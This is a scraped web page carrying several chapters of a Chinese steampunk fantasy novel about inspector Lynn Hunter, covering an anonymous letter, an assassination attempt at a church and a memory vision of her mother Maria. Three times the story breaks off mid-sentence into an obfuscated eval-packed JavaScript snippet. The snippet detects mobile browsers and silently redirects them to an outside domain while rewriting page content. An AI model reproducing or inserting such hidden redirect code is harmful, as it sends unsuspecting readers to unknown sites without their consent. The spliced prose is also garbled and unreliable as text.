她并不畏惧蒙德里安·威灵顿,但她也并不觉得与他争锋相对是值得的。 只要甩掉蒙德里安这个难缠的蠢货,或许国王的任务能够尽快完成。 想到这里,林恩决心今日再悄悄潜入浅湖宫一趟。 就从白琳推荐的路线开始。 “亨特审查官。” 阿曼达的助手拦住林恩的去路,“首席找您。” 林恩对面前姜黄色头发的圆脸男孩很有好感:正是他在自己最口渴难耐的时候送来一杯清水。 因而,林恩的态度也相当和煦。 “她有说是什么事情吗?” 助手摇摇头,“您去了就知道了。” 林恩不得不脚尖换了个方向,径直朝向阿曼达的办公室走去。 == 门缝在林恩的掌心下被逐渐拓宽,露出莱亚·古德温和伍德治安官的两张面孔。 “都在这儿呢?”林恩看了眼阿曼达,“还挺热闹。” “亨特来了,随意坐吧。” 阿曼达潦草地指了下沙发,随后将眉眼间的单片镜摘下,小心放在绒布盒里。 林恩遵命坐下,面对着两位“谎言辨别”,忽然感受到一丝诡异的压迫感。 她清了清嗓子,选择不开口说话。 “你今天也看到了,眼前这两位都是信徒,也都是‘谎言识别者’。” 阿曼达虽觉得二人相互制衡的局面很合心意,但到底没有说出口。 她用大拇指蹭着掌心,一边说道: “古德温上校总有自己的事情要忙,所以伍德治安官刚好弥补了这个空缺。” “……嗯?” “威灵顿审查官提议,将伍德治安官转编为国民卫队审查官。”阿曼达说,“我同意了。” 这话不光是林恩,就连伍德本人也是一惊。 这是他未曾料到的局面。 这也就意味着,伍德回巨龙镇的幻想完全崩塌。 “首席,您叫我来总不能是——” “是的,如你所料,我觉得伍德很适合做你的学徒。” 阿曼达字正腔圆地说道。 林恩诧异地与伍德对视。 她完全不想要这样的“学徒”! 一开始的助手是包藏祸心的艾迪·穆德、现在的正式学徒又是伍德。 林恩只觉得前途一片渺茫。 “事情就这么定了,伍德,你先去亨特审查官的办公室等候吧,就在四楼。” 阿曼达指了指大门,“我还想与她单独谈几句。” 这话的意思,便是要赶人了。 莱亚·古德温知趣地起身,单手拄着手杖,浑不吝的模样映在林恩眼底。 “那我也走了,首席审查官,或许你们不需要我了。” “怎么会呢!” 阿曼达审查官与莱亚客套了几个来回,惹得林恩一阵困倦。 她打了个呵欠,目光落在阿曼达书桌上。 那里,摆放着一个淡粉色的信封。 41. 匿名信 经过一番纠缠,阿曼达·德·波尔总算是把所有人赶走。 一对一面对林恩的时候,她就像是猛然松了口气,恢复了一点喘息的机会。 “首席,您找我是什么事?” 林恩将视线撇开,端起一杯浓茶,轻轻吹了吹表面。 “你来看看这个吧。”阿曼达从一沓文件下面抽出对折的纸条,推到林恩面前。 这是一张用打字机打出来的便签条。 【亨利·朗的死与绯通亚矿场出现的异种生物相关。 或许您对此会感兴趣。 可以帮助你给工党重重一击。】 纸张上仍旧散发着淡淡的油墨味。 林恩捻着纸张,放在鼻尖下轻轻嗅着。 “这是最常见的卡特兄弟色带味。” 她举起纸张,又对着光源凝视许久,终于得出一个结论。 “这是卡特兄弟3号打字机打出来的,字体与市面上的其他字体有微妙的区别,并且油墨也更不容易扩散。” “这个型号常见吗?” 林恩点头:“很常见。” 常见到,连国民卫队的绝大多数审查官都是使用的这一款。 只不过林恩把这句话吞回肚子里,没有说出口。 她觉得,如果不出意外,这封匿名信应该来源于医疗官帕尔玛。 ——虽然,林恩完全不明白为什么帕尔玛这么在意异种生物。 阿曼达用手托着额头,袖子松松地落下来,露出手腕上的钻石手链。 “看得出是谁寄的匿名信吗?” “很难,首席。” 林恩脱口而出,“太多人使用这一款打字机了。” 阿曼达抬眼,仔细端详着面前这位年轻、聪慧、大胆的审查官。 她的指尖无意识地蹭着纸页的边角,大脑陷入沉思。 “林恩·亨特,我现在给你一个任务。” 思考良久,阿曼达·德·波尔终于作出一个大胆的决定。 她想要给予林恩信任。 “你将作为我的副手,私下前往绯通亚矿场进行调查。” 阿曼达咬了咬牙,“作为回报,国王那边……我会给你更多线索,你从外界很难获取的线索。” 林恩愣了愣。 说实话,她完全没有介入这些事件的打算。 国王安排的“血色九月”事件,已经足够让她焦头烂额,摸不清方向; 而肉眼可见的,爆炸案中暗含着更多秘密,甚至可能会轻易丢掉性命。 在林恩犹豫时,阿曼达继续试图说服她: “不管你是否答应前往,我现在都会给你提供线索。如果你找出绯通亚矿场的异状,我会额外满足你的其他要求。” 阿曼达提出的条件足够丰厚,让林恩难以回绝。 她的确有许多忧心的事情,或许也的确需要阿曼达的帮助。 ——只不过,真的要用性命来交换吗? “你考虑完了告诉我就行。” 阿曼达捏了捏鼻尖,“我现在先履行我的承诺,毕竟是我有求于你。” 大门忽然被敲响。 “什么人?”阿曼达蹙眉,谨慎地盯着门口。 “首席,国王的来信,需要您尽快前往金蔷薇宫。”通信官德莱安的声音跨越门缝传进来。 “什么事情?” “国王在信中并没有说明。”德莱安迟疑了一下,接着汇报道,“只说是急事。” == 对话并没有被中断,而是更换了场所。 林恩再一次坐上阿曼达的私人马车,随她一同离开国民卫队。 这次的目的地依旧是金蔷薇宫,只不过在半路会把林恩放下。 阿曼达关上车门,再次确认无人偷听,这才决定畅所欲言。 “我想,关于血色九月,你应该是一知半解的。” 林恩点头,“王室记录了相关的事件,但是我有很多好奇的地方。” “你可以依次说说。” 既然阿曼达询问,林恩也不打算藏着掖着。 “第一,听上去长刀党是三足鼎立的局势中唯一的失败者。不仅没有得到权力,甚至很快销声匿迹——既然这么好对付,那为什么一开始会变成这么大的威胁?” “第二,玛格丽特国王当时相当年幼,她是怎么把理查德四世赶下台的?” “第三,不管是长刀党还是理查德四世,均已消失在历史中,为什么国王仍旧对血色九月的真相如此耿耿于怀?” 林恩原本以为阿曼达会为难,岂止她却露出一副欣赏的表情。 “我所知道的,的确与此相关。” 既如此,林恩顿生好奇。 “时间不多,我只说些要紧的。”阿曼达掏出怀表看了看,“玛格丽特国王在父亲菲利普国王死后,被朱丽安娜公主收养,实则是朱丽安娜公主掌控了全局。” “朱丽安娜?” “索沃克斯家族的正统子嗣,本该是亨利三世的王储,却因为是独女而错失良机,王位这才被菲利普国王捡了便宜。” 原来……是这样! 朱丽安娜是上一个玛格丽特,只不过她终究没能成功! 阿曼达边说着,边露出点无奈的神色。 “朱丽安娜公主,绝对是最适合成为君主的人。她巧妙联合了长刀党与支持王室的保守派,一同推翻了理查德四世的统治。” “联合长刀党?” 阿曼达点头,“是的,当年的长刀党,如今已改名为工党。” 什么?! 林恩几次欲言又止,最终还是问道:“臭名昭著的长刀党竟然也能金盆洗手?” “是的,这也是玛格丽特国王对血色九月耿耿于怀的原因。”阿曼达解释着,“这关系到国王的信任。” 工党=长刀党。 困扰林恩许久的疑问终于被串联起来。 在得到玛格丽特国王的偏爱后,工党之一的亨利·朗才如此耀武扬威。 然而,过去的龃龉似乎是一枚定时炸弹,幕后黑手——大概率是工党——心存恐惧,于是决定杀死所有调查者。 阿曼达还在继续: “朱丽安娜公主更信任保守派,而玛格丽特国王更想做出自己的功绩,因此转而偏向工党,这对我们很不利。” 林恩想了想,“您是想让我找出对工党不利的证据?” 阿曼达笑了,她单片镜上的细金属链随笑声而摇晃。 “当然不可能,你撒不了谎的,亨特。‘回溯’信徒会把你的记忆扒得一干二净,一点秘密都不可能存在。” ……什么? 有信徒能够……看到她的记忆? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450784|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿曼达冰冷的话语刺进林恩的心脏,她几乎紧张到抽搐,好在颠簸的马车帮她掩饰掉了绝大多数不安。 只不过,林恩仍旧面色惨白。这一点被阿曼达看在眼里。 “亨特,审查官多少都有些不光彩的往事,你不用太担心。”她安慰道,“你只要不在血色九月上撒谎就好。” 审查官动用酷刑的情况相当普遍,阿曼达只以为林恩是忧虑这件事。 “我明白。” 林恩扯了个难看的笑,“我会继续调查的。” “我今日也会同国王交涉,你最好尽早前往绯通亚矿场。”阿曼达看上去忧心忡忡,“我觉得朗氏会提前处理干净。到时候,我们就一无所获了。” 林恩在白教堂下车。 望着疾驰而去的马车背影,她忍不住叹了口气,一种席卷而来的疲倦感冲击着她的神经。 初至蒸汽朋克世界的新鲜感已然退却,林恩厌倦了危机四伏的职场、风云变幻的政局,以及并没有什么大用处的异能。 她想回家了。 只不过,就如林恩不知道自己如何莫名其妙降临一样,她完全不明白离去的方式。 ——或许,“博学者”詹姆斯·威利斯知道。 但他也绝无可能告诉自己。 林恩再次叹了口气,忽然侧头看了眼高大耸立的庞大教堂,鬼使神差地走了进去。 既然什么都没用,那就先祈祷吧。 如此一想,林恩脚下猛然一个急刹。 “砰——” 几乎是转身的瞬间,一枚子弹擦着她的发丝,打在白教堂的墙壁上! 巨大的威力击碎了索尔沃神像浮雕的面孔,留下一颗斑驳破碎的弹孔。 什么情况?! 林恩不敢回望,侧身扑进教堂,躲进厚实的大理石墙壁内。 有人要杀她? 倘若她没有中途转向,这枚子弹会扎进她的太阳穴里! 林恩后知后觉地意识到这点,血液瞬间冰冻,身体赫然无力,双腿面条一般软下来,“扑通”一下跪在地上。 有人要杀她! ……是因为血色九月? 她也遭遇了所有调查者都会遭遇的死局?! 林恩狠狠咬着后槽牙,恐惧逐渐退却,转而升腾上一阵暴戾的怒意。 她必须要…查清真相才行! 不管是谁想要暗杀她,一定得付出代价! 白教堂外的大街上,枪弹引发的尖叫声此起彼伏。 林恩侧身,透过狭窄的缝隙往外窥视,却听见了第二声枪响。 蒸汽火枪的子弹打在门板上,木屑四溅,几乎要扎进林恩眼眶。 看来暗杀者势必要把她杀死才肯罢休! 她环视四周,只看见教堂内瑟瑟发抖、手无缚鸡之力的信徒与教母。 这些人大概都帮不上忙。 林恩并没有携带热武器,唯一的防身利器不过是一把匕首。 这样下去不行! 赤手空拳的她一定打不过一个荷枪实弹的专业杀手。 林恩的目光不自觉地落在不远处的神像上。 那是索尔沃的武神副手铜像,手持微微生锈斑驳的黄铜巨弓。 弓弦紧绷且锃亮,这是把能被使用的弓箭。 教堂的高塔,刚好适合瞄准。 42. 刺杀审查官 教徒们无暇注意通往钟楼的木门被静悄悄打开。 楼道狭窄闭塞,林恩背着沉重的弓箭踏在螺旋木质台阶上,踩出此起彼伏的吱嘎声。 她喘息着,声响在狭长的空间内被无限放大。 刺杀她的人是工党? 还是发现真相的詹姆斯·威利斯? 着实得不出答案,林恩也不再细想。 她已走到楼梯尽头,面前是最后一段木制直梯,必须使用双手攀爬。 木头散发着灰尘堆积的泥土味,空气中漂浮着无数细碎的金色尘埃。 大概很久无人攀爬,甚至有几节木头已经断裂,林恩不得不多费了些力气,才勉强钻过直梯尽头的狭窄空洞。 视线豁然开朗。 大半个中央大区跃然眼下,身侧是鳞次栉比的大教堂尖顶,稍许侧头,就能看到宏大的石质索尔沃神像。 林恩盯着一臂之隔的神像,又转头凝视着神目俯瞰的城市。 ——神见到的,也不过如此。 她心想。 晃神的功夫,一枚火弹从街角直奔白教堂大门而去! 火弹的威力,使整栋建筑物轻微摇晃了两下。 也正是这个空隙,让林恩准确识别出火弹的来源: 位于白教堂斜对角的皇家酒店四楼。 窗口的黑衣人手持炮筒,正在准备投掷第二枚火弹。 好机会! 林恩迅速举起长弓,对准窗口的黑衣杀手—— 箭矢带着破空的锐响飞射而出,却没能扎中黑衣人! 一阵斜风令它变了方向,擦着窗户的下沿,牢牢地钉在皇家酒店的雕花外墙上,箭杆兀自震颤不止。 该死的! 林恩怒骂了一声,迅速蹲下身,躲避黑衣人的视线。 果然,杀手意识到了窥视与反击,鹰隼般的视线牢牢地锁定在教堂钟塔上。 他撇了撇嘴,意识到火弹的射程无法直接击中高耸的钟楼。 随着一声巨响,建筑再次晃动。 这是第二次袭击了! 林恩眯了眯眼,鼻尖逐渐嗅到一阵焦糊味。 再这样下去,白教堂会被彻底焚毁! 她没有太多时间了。 伴随着肌肉记忆,林恩蹲身将弓弦拉满,随即立刻站起身—— 瞄准窗口! 箭羽如闪电般刺破空气,速度几乎发出音爆。 它与一枚子弹擦肩而过! 林恩的目光顺着箭羽的方向,与黑衣人遥遥对视! 他的面孔完全被遮挡,只剩下一双红眸。眸色如血月般炽烈,在苍白的皮肤上分外醒目,与鬼魅无二。 意识到对方开枪时,林恩已无法避让。 子弹的速度远超想象,直接击穿她的左肩,弹头撞击在墙面上,随即“叮叮当当”掉落。 血液瞬间飙出,迅速染湿林恩的制服。 她吃痛地捂着肩膀,身体控制不住地蜷缩,却又不得不咬牙抬头望向窗口: 在遭受攻击的时候,箭矢已顺利射入窗口,扎穿了黑衣人的喉咙! 棕红色的血液如喷泉般喷洒而出,只是一个瞬息,黑衣人已仰面倒地,无法继续动弹。 解决了! 林恩不免有些庆幸: 她左肩的枪伤相当严重,已完全无法再次拉弓。 好在她把握住了最后一次机会。 还没等林恩喘口气,一阵灰黑色的浓烟已顺着狭长的钟楼通道喷涌而上,浓烈的焦糊味呛入鼻腔,害得她连连咳嗽。 糟了。 林恩朝下张望,却又被浓烟与灰黑的粉尘扑了满脸。 在模糊的视线里,林恩终于意识到原本的木梯已完全无法返回: 干燥的木材在烈火的焚烧下发出清脆的爆裂声,这种在壁炉里分外温馨的响声,此时却不亚于恐怖的催命符。 现在该怎么办? 她捂着胳膊,在短暂扫视现场情况后,立即决定从教堂钟楼外墙跳至尖顶: 尖顶连接着建筑物的主体,只有这样,她才能顺利从屋顶逃生。 虽不知是否可行、是否是最优方案,但林恩一时间也的确想不出旁的主意。 眼下最大的麻烦是她的伤臂。 不仅疼痛难耐,开放性伤口甚至还在不断流血,衣服已湿透了,血液正在缓慢洇至前胸后背。 无法,林恩只得扯下衣服上的布料,根据《审查官急救手册》的指导对伤口进行简单的包扎。 尽管仍旧疼痛,但好在血止住了,伤势暂时不会加重。 她最后瞥了眼黑洞洞的窗口,随后单手抓住钟楼屋檐,刚想借力蹬上墙面,目光却忽然落在地面的子弹上。 ——或许会有用。 林恩立刻捡拾起子弹,揣进前胸的口袋里。 单臂使得行动速度大大减慢。 从钟楼顶端跳跃至尖顶,林恩不得不踩在索尔沃神像的头顶借力。 神像头顶满是碎金城的尘土,以及点滴状的、干涸的白色鸟屎。 她蹬在神像后脑,双腿用力前扑,右手死死抠住尖顶外延的浮雕,汗水却让指尖打滑。 林恩身体一沉,几乎要坠落下去! 她旋即伸出左臂,忍痛借力扶稳身体,脚尖也找出一枚狭窄的落脚点。 等到回过神,林恩的后背已布满冷汗。 差点就摔死了! 她深呼吸了几口,重新用右手抓紧屋檐,甩动整个身体,终于把自己甩上尖塔平台。 花费的时间比她想象中久很多。 火势已彻底蔓延开来,林恩几乎能感觉到火焰在面前燎烧。 她无法深思熟虑,只得把身体的掌控权交给直觉。 在短暂的腾空后,林恩的脚尖踩在滚烫的房梁上,随后又一跃而起,落在另一处石质雕塑上。 在雕塑坍塌之前,她已来到下一个落点,迅速在房屋的斜顶上奔跑,随后在白教堂后巷稳稳落地。 安全了。 双脚重重地降落在结实平坦的地面上,久违的安全感终于降临。 林恩无力地倚着,一边扭头看向大街。 消防官还在赶来的路上,尖利刺耳的鸣笛声已遥遥传来。 现在不是耽搁的时候。 林恩蹿出后巷,挤入大街上慌乱嘈杂的人群之中。 == 皇家酒店。 由于轰隆的火弹袭击,客人们均已在侍者的帮助下撤离,此刻这栋豪华的建筑物内空无一人。 林恩借口寻找医疗箱,混入这栋具有百年历史的建筑物。 不同于金蔷薇宫或是浅湖宫的奢靡豪华内饰,皇家酒店内部陈设是复杂的机械结构,颇有科技的意味。 在无数黄铜转轴摆设中,眼花缭乱的林恩最终找到走廊尽头的升降梯。 她往前走了两步,却忽然听见升降机的转轴忽然开始转动,随后承重金属锁链发出轻微的碰撞声,在空旷的室内分外明显。 有人正在下楼? 林恩脚步一滞,迅速蹲下身,躲藏在半人高的柜台之后。 “叮——” 电梯内走出两个面生的男人,林恩绝没有在任何地方见过他们。 一人头戴礼帽,另一人面孔上架着单片镜。 看打扮,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456264|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是富裕的上流人士。 “早说了,91号不可信。”礼帽男的嗓音圆润清朗,“竟然动用了火弹,真是不怕惹事。” 眼镜男手中提着一只略大的皮革行李箱,走起路有些踉跄。 “先生,91号已经死了。” “我知道,但那位审查官没有死。”礼帽男难言怒意,“此人什么来头?” “是个新人,无父无母。” “白瑞德先生已经得到国王的口信,一旦那位审查官得到了线索前来禀报,我们就必须杀死她。” 礼帽男停下脚步,转过头吩咐道,“他的回溯异能可以让我们在这场棋局中位于先手。” 说罢,礼帽男嘲讽地冷哼一声,目光忽然停滞不动。 顺着他的目光过去,眼镜男看到地面上有一颗滚圆的滴落状血液。 “看来,我们这里有小老鼠呢?” 礼帽男发出阴邪的笑声,给手下使了个眼色。 任何偷听的人都必须死掉! 眼镜男从腰间取下蒸汽火/枪,脚步缓慢无声地靠近柜台,手里轻轻给手/枪上膛。 一个闪身,男人冲进柜台内,枪口直指地面—— 没人? 眼镜男把枪收回腰间的枪套内,满心疑虑地盯着地面。 大堂内没有其他地方可供躲藏,难不成是酒店的宾客留下的血液? “国民卫队来了,我们先撤离。” 礼帽男挑眉,对此不以为意: 在他眼里,就不存在逃脱得掉的目标。 即便是大名鼎鼎的6级信徒“康纳利审查官”,也都在他们的谋划之下丢掉性命,这个所谓的新人又怎么可能抵挡得住呢。 他勾了勾唇,不再多想。 两人离开了。 林恩已提前蹿进楼梯间,只留下一粒纽扣帮忙“窥探”。 从窗口偷窥到他们的背影,林恩这才蹑手蹑脚取回那枚纽扣,迅速使用“记忆宫殿”探查二人的对话。 通过再次出现的“回溯”信徒白瑞德先生,林恩基本确定这群人是因为“血色九月”而来。 他们或许是杀死安妮王后的凶手。 回溯…… 林恩在脑中盘算了一下,觉得这项异能和她的异能相差无几。 并且,听上去实在是耳熟。 她究竟在哪里听到过这个字眼? 可惜“记忆宫殿”没有检索功能,她多少得依据自己的记忆寻找。 林恩一边爬到四楼,一边重新思考了一遍,终于回忆起一段斑驳无比的记忆! 那是……第一天回到碎金城的时候! 她在蒙德里安·威灵顿的酷刑之下昏迷,昏昏沉沉中获得了所有关于原主的记忆。 其中有一段来源于她的童年: 一位“黑袍人”闯进他们位于特兰郡的家里,“林恩”独自躲藏在衣柜里。 黑袍人对她的母亲说: ——“把你偷窃的宝物还回来。……你瞒不过去的,玛利亚,‘回溯’信徒已经看到了。” 倘若当初的回溯信徒与礼帽男所说的是同一个人,那么他们的阴谋从二十年前就开始了?! 林恩只觉得血液被瞬间冰冻。 她没有信心对付这么庞大的群体。 她的手指抓住铁质栏杆,脑袋忽然“嗡”得一声发颤。 ——等等。 她的母亲就叫玛利亚啊?! 回溯信徒指控的、偷走宫廷内某样物品的玛利亚? 白琳·嘉伯所说的、偷走王室冠冕的“玛丽亚女官”? 那位名叫玛利亚·通古拉的宫廷内务官? 43. 玛丽亚·通古拉 林恩的嘴角抽搐几下,不敢相信如此诡异的事情发生在自己身上。 不管怎么说,她还是找到杀手所在的房间。 门已上锁,只不过用简易的铁丝就可以轻松撬开,林恩深谙此类开锁技艺。 房间内充斥着令人作呕的血腥味,洁白的床单上满是鲜血,墙面也被喷上了血液。 毋庸置疑,这就是死亡现场。 只不过,“91号”的尸体已经消失不见。 林恩回忆了一下眼镜男手中的巨大行李箱,以及他踉跄的走路姿势,强烈怀疑91号的尸体就被藏在其中。 一同丢失的,还有林恩射出的那支箭矢。 考虑到“回溯”信徒的异能,林恩足以怀疑这两人会将尸体与箭矢回去一同交差。 她的暴露将是时间问题。 林恩的面色沉郁了几分。 她第一次感受到了被窥视的糟糕感。 暴露自己的面容,林恩倒不觉得有什么要紧;更要紧的是,倘若暴露的是她的信徒身份呢? 不行…… 不能这样下去! 必须要在“回溯”信徒发现她的异能之前—— 提前干掉他! 只不过,现在林恩既不知道白瑞德先生的样貌,也不知道他的去向。 她在明处,而他在暗处,这对她相当不利。 唯一的办法只有躲藏起来,如蛇一般伺机而动。 林恩忽然意识到,答应首席审查官的请求、前往绯通亚矿场,是个无与伦比的好机会。 她没能在皇家酒店耽搁太久。 消防署尖锐刺耳的鸣笛声已由远及近,想来国民卫队的某个审查官也会很快赶来。 林恩惹上的麻烦已经足够多了,不需要再多添一个。 既然已经到达白教堂,那不如直接通过密道前往浅湖宫,顺势挖掘一下关于她的母亲“玛利亚内务官”的往事。 == 如白琳所说,教堂的后巷内果真有一尊神像,甚至距离林恩先前的躲藏点并不远。 林恩用即将脱力的右臂推了几下,在一开始的卡顿过后,她发现神像并不沉重,反倒像是空心的。 在神像脚下,一个黑洞洞的出口缓缓显露出来。 虽说光线相当昏暗,但林恩能看得出洞内有些许光线,不至于让她彻底失明。 她咬咬牙,还是俯身钻进去。 在恢复神像位置之前,林恩猛然意识到什么,低声默念: 【查看记忆宫殿。】 …… 神像被搬回原位。 密道内一下子变暗,前路上隐约有几枚夜光石,散发出淡淡的柔和光亮。 玛丽亚·通古拉喘着粗气,汗水将她鬓角的碎发打得湿透,手中攥着的信件也变得潮湿。 ——身为王后的贴身女官,她今日出宫不过是为了领取王后订购的珠宝,谁知竟出了事。 据她所知,浅湖宫已被理查德四世的军队团团围住。 站在宫廷之外遥遥望去,即便已入夜,但浅湖宫内仍是灯火通明,湖面被映成火热的橙红色。 玛丽亚心急如焚:安妮王后还在宫中,还有玛格丽特小公主! 她知道自己不应该重返浅湖宫,她也根本没有必要淌这趟浑水,但是她就是放心不下: 早在安妮王后出嫁之前,玛利亚就是贴身侍女了。 不管怎么说,她们之间的感情绝非寻常主仆可以衡量的。 玛丽亚喘着粗气,内心着急加上光线昏暗,让她脚下一个踉跄,整个人摔跌在地上。 布包中的钻石项链甩在地面上,发出清脆的碰撞声。 玛丽亚揉了揉脚踝,在地上摸索了许久,终于从角落捞起项链,塞进贴身口袋里。 而后,她将手伸进布包里掏了掏。 还好,几支药剂没有碎。 玛丽亚松了口气;这些是宫外的神医开出的药物,可以让王后的孕吐症状缓解些许。 这条密道玛丽亚并非第一次走,但却没有一次像今天这样漫长,仿佛永远看不到尽头。 她额头上渗出密密麻麻的汗水,又被一阵冷风吹过,飘起一层鸡皮疙瘩。 有风,就说明出口快到了。 玛丽亚安慰自己。 密道连接着宫廷厨房。 理查德四世是头一回谋反,并没有在意厨房的安危,玛丽亚轻而易举地从废弃的壁炉里钻出来,一边掸了掸头发上的尘土与蛛网。 空气里是悬浮的血腥味,仿佛误入了屠宰场。 玛丽亚干呕了一下,却并不敢耽搁。 作为王后的女官,她熟知浅湖宫的构造,知道通向王后寝宫有条特殊的走廊。 “玛丽亚姑姑。” 她刚踏出厨房大门,身后就传来奶声奶气的童声。 “公主,你怎么会在这里!” 玛丽亚大惊失色,一把抱住玛格丽特的小小身体,“王后呢?” “我没见到她。” 玛格丽特公主摇着头,面色惨白,身体止不住地战栗着。 “我……去了前厅,玛丽亚姑姑。” 玛丽亚清楚,前厅必然是血流成河。 她没有时间耽搁,抱着玛格丽特冲回密道,将她小心地安顿其中,又从口袋里掏出钻石项链。 “公主殿下,您沿着这条路笔直往前走,走到尽头。” 玛格丽特坐在地面上,表情懵懂。 她不过是个四五岁的孩子。 玛丽亚叹了口气,鼻头一酸,“公主,千万不要发出声音,只管往前走。你走到尽头之后,再数一万个数,我应该就会来接你的。” “好。” “如果我没有来,公主殿下,你就躲在白教堂里,把钻石项链交给教母。她会收留你的,知道吗?” 玛格丽特满脸是泪,一边摇着头, “我不要离开你,玛丽亚姑姑,你为什么不跟我一起走。” “公主,我要去陪陪王后。” 玛丽亚深吸一口气,几近哽咽,“我会来找你的,公主殿下,您现在得先一个人了。” 她环视一圈,在桌上随手抓了几个黑面包,一股脑儿地塞给玛格丽特。 “公主,如果饿了,就啃几口面包充饥吧。” 说完这句话,玛丽亚听见门外传来窸窸窣窣的脚步,只得不管不顾地推了把公主,又重新封上出口。 她的心脏跳得猛烈,就仿佛是索尔沃诞生日的庆祝礼炮。 ——千万不要进来。 玛丽亚心想。 脚步在她的期盼之中果真没有停下,而是穿越了整条走廊,远远地飘走。 听上去像是军靴的声音。 即便隔着厚厚的地毯,却仍旧能听见咚咚的震颤声,楼板似乎都在震动。 过了许久,玛丽亚攥紧了双拳,终于下定决心,小心翼翼地打开一条缝,观察着走廊。 此刻外面空无一人。 如计划的那样,玛丽亚穿过秘密走廊,顺利进入安妮王后位于二层的寝宫。 安妮王后的卧房内满是她热爱的红玫瑰色帷幕,帷幕上挂着金灿灿的巨幅画框。 玛丽亚从画框后的暗门里钻出来,眼神猛然一滞: 安妮王后胸口插着一柄黄金镶红宝石匕首,正仰面倒在地上。 她仍旧穿着一身肉粉色丝绸睡裙,层层叠叠的纱质裙摆上,鲜血如盛开的蔷薇花绽放。 这是菲利普国王送给安妮王后防身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐,我刚刚救了你,还对你偷东西既往不咎。” 身材高大的审查官说道,“或许,您应该先对我表示感谢。” 玛丽亚抿唇,说不出一句多余的话。 过了好半天,她才从牙缝里挤出几个字。 “谢谢你。” 男人抿唇,似乎是笑了一下。 只不过这个笑容难看得紧。 “既然这样,你干脆把我带去白教堂吧。”玛丽亚恶向胆边生,与男人提议,“你既然救了我,就索性帮忙帮到底吧!” 审查官蹙眉,“白教堂?有人在等你吗?” “这与你无关吧,审查官。”玛丽亚冷冷地说,态度狂妄至极,丝毫不把自己当作阶下囚。 “我想想……王后在宫中,但是一直没找到小公主。” 男人喃喃低语,“看样子你又是王后的女官,该不会前往白教堂接应的……是公主吧?” 该死的。 竟然被他猜出来了。 “罢了,我把你带去就是了。”男人耸肩,“我也刚好在国民卫队呆不下去了。” “对了,我只知道你是审查官,还不知道你的名字呢。” 玛丽亚躲藏在男人的披风之下,瓮声瓮气地问道。 “我叫弗兰。” 男人嗓音里隐约带了些笑意, “弗兰·亨特。” 44. 特兰郡(一) 【记忆宫殿停止。】 林恩揉了揉酸胀的太阳穴,意识到自己不知不觉间,顺着玛丽亚内务官的指引到达了安妮王后曾经的卧房。 这间卧房与玛丽亚女官记忆中的完全不同了。 自局势稳定、理查德四世登基,浅湖宫已经经历过大大小小的十余次修缮,屋内的陈设清一色改为象牙白色,地毯与窗帘改为巧克力棕。 即便如此,这间曾经发生过血案的房间,仍旧无人居住。 理查德四世的王后说这里有“冤魂”,扰得她无法入梦; 而玛格丽特国王甚至彻底抛弃了浅湖宫。 倘若真有冤魂,大概也不愿困在这间不符合她审美的、狭窄的房间里吧? 只不过—— 林恩回忆了一下玛丽亚女官拿出的黄金匣子,在虚空之中比划起大小。 和白琳所说的传言有出入,玛丽亚女官的匣子绝不可能塞得下冠冕,最多只能放置些手链项链。 就这么个小盒子,能存放什么“秘宝”? 林恩没有苦恼很久。 她很快就想通了,玛丽亚女官是“林恩”的母亲,她的私人物品仍旧存放在特兰郡的老宅里。 只要抽空回一次特兰郡,一切疑惑都迎刃而解了。 浅湖宫里暂时挖掘不到别的了。 甚至,拜这段记忆所赐,林恩窥探到当初的真相: 根据长官的言辞,排除了他们是长刀党的可能性。 所以,林恩很确定罪魁祸首是理查德四世。 只不过,现在无凭无据,她也不好冒然向国王禀报;更重要的是,现在的工党、曾经的长刀党倘若真的脱清了干系,那岂不更会一家独大? 林恩决心隐瞒下去。 ——起码得熬到从绯通亚矿场回来。 更重要的是,她得提前摸清“回溯”信徒的情况。 == 在得知林恩侥幸逃过暗杀、身负重伤过后,阿曼达审查官阔绰地给她再次放了几天假。 “白教堂被损毁,国王难道没有意见?” 林恩试探着提问,试图借助王室的力量找出暗杀者。 阿曼达懒懒地抬眼,“想什么呢?” 她示意助手关上门,这才说道: “国王本就看不顺眼迂腐的教会,这次修缮白教堂的拨款甚至还不到修缮浅湖宫的十分之一。” 好吧。 林恩挠了挠头,“还有一件事,首席。” “说。” “我打算按照您的吩咐,前往绯通亚矿场。” 林恩下定决心,却又提出点要求。 “我可能需要带助手,也尽量私下悄悄前往。您也知道,他们既然能杀死亨利·朗,也会杀死我。” 阿曼达·德·波尔扬了扬眉毛,没想到林恩这么快就同意了。 “助手?不是刚给你派了个学徒吗?” 林恩失笑,“您说的如果是伍德,那我还不如只身前往呢!他可是威灵顿审查官的人。” 阿曼达揉了揉太阳穴,的确忘了这码事。 她喝了口热咖啡,抬眼看向林恩,“那你想要哪个助手?” 尽管客套地询问了林恩的意见,但阿曼达深知国民卫队其实抽不出额外的人手。 